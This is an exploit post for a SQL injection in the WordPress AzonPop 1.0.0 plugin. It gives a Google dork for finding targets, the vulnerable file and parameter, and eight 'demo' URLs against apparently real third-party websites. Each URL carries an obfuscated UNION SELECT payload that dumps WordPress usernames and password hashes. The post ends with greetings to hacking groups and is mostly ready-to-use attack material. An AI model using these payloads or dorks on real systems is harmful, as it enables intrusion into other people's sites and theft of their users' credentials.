WordPress AzonPop 1.0.0 SQL Injection
Posted on 10 January 2016
[*][*][*][*][*][*][*][*][*][*][*] [*] Exploit Title : Wordpress AzonPop Plugin SQL Injection [*] Exploit Author : Ashiyane Digital Security Team [*] Vendor Homepage : azonpop.blogspot.com [*] Google Dork : inurl:wp-content/plugins/azonpop [*] Date: 8 Jan 2016 [*] Tested On : Win 10 | CyberFox Browser [*] [*][*][*][*][*][*][*][*][*][*][] [*] Vulnerable PHP File = /AzonPop/files/view/showpopup.php [*] Vulnerable Parameter = popid [*] [*] Injection : site.com/wp-content/plugins/AzonPop/files/view/showpopup.php?popid= -->SQL injection <-- [*] [*] Demos : [*] [*] http://www.laredmexicoelpaso.org/wp-content/plugins/AzonPop/files/view/showpopup.php?popid=null /*!00000union*/ select 1,2,/*!00000gRoup_ConCat(unhex(hex(user_login)),0x3c2f62723e,unhex(hex(user_pass)))*/,4,5 /*!00000from*/ wp_users [*] [*] http://haircareproducts.siterubix.com/wp-content/plugins/AzonPop/files/view/showpopup.php?popid=null /*!00000union*/ select 1,2,/*!00000gRoup_ConCat(unhex(hex(user_login)),0x3c2f62723e,unhex(hex(user_pass)))*/,4,5 /*!00000from*/ wp_users [*] [*] http://arthritispain.siterubix.com/wp-content/plugins/AzonPop/files/view/showpopup.php?popid=null /*!00000union*/ select 1,2,/*!00000gRoup_ConCat(unhex(hex(user_login)),0x3c2f62723e,unhex(hex(user_pass)))*/,4,5 /*!00000from*/ wp_users [*] [*] http://buyrealestate.siterubix.com/wp-content/plugins/AzonPop/files/view/showpopup.php?popid=null /*!00000union*/ select 1,2,/*!00000gRoup_ConCat(unhex(hex(user_login)),0x3c2f62723e,unhex(hex(user_pass)))*/,4,5 /*!00000from*/ wp_users [*] [*] http://coffeemachines.siterubix.com/wp-content/plugins/AzonPop/files/view/showpopup.php?popid=null /*!00000union*/ select 1,2,/*!00000gRoup_ConCat(unhex(hex(user_login)),0x3c2f62723e,unhex(hex(user_pass)))*/,4,5 /*!00000from*/ wp_users [*] [*] http://anxiety.siterubix.com/wp-content/plugins/AzonPop/files/view/showpopup.php?popid=null /*!00000union*/ select 1,2,/*!00000gRoup_ConCat(unhex(hex(user_login)),0x3c2f62723e,unhex(hex(user_pass)))*/,4,5 /*!00000from*/ wp_users [*] [*] http://babyshower.giftbuy.info/wp-content/plugins/AzonPop/files/view/showpopup.php?popid=null /*!00000union*/ select 1,2,/*!00000Group_gRoup_ConCat(unhex(hex(user_login)),0x3c2f62723e,unhex(hex(user_pass)),0x3c2f62723e)*/,4,5 /*!00000from*/ wp_psjt8e_users [*] [*] http://diabetescare.siterubix.com/wp-content/plugins/AzonPop/files/view/showpopup.php?popid=null /*!00000union*/ select 1,2,/*!00000gRoup_ConCat(unhex(hex(user_login)),0x3c2f62723e,unhex(hex(user_pass)))*/,4,5 /*!00000from*/ wp_users [*] [*][*][*][*][*][*][*][*][*][*][*] [*] Discovered by : Ac!D [*] tnQ : H.empire , M.hidden , M.hacking , Sh.BlackHAT , V for vendetta , Sh.Cloner & aMo0 Hassan :) [*][*][*][*][*][*][*][*][*][*][*]
